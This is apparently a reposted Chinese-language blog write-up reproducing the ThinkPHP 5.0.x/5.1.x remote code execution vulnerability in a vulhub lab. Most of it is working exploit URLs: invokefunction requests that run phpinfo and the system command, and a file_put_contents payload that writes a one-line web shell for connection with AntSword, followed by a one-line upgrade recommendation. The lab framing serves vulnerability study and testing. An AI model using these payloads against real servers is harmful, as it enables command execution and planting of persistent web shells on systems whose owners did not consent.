一、ThinkPHP介紹
輕量級框架,內部OOP和面向程序代碼都存在,是國人自己開發的框架, ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協議發布,從Struts結構移植過來并做了改進和完善,同時也借鑒了國外很多優秀的框架和模式
二、漏洞描述
Thinkphp5.0版本中沒有對路由中的控制器進行嚴格過濾,導致在沒有開啟強制路由的情況下可以執行系統命令,
三、漏洞影響版本
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
四、漏洞復現
1、搭建環境
這里使用docker直接啟動vulhub靶場
docker-compose up -d
目錄:thinkphp/5-rce

2、訪問頁面
http://your-ip:8080

3、代碼執行
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
獲取phpinfo資訊

執行系統命令

4、寫入一句話
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要寫入的檔案內容url編碼


蟻劍連接

五、修復建議
升級至最新版本
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499342.html
標籤:其他
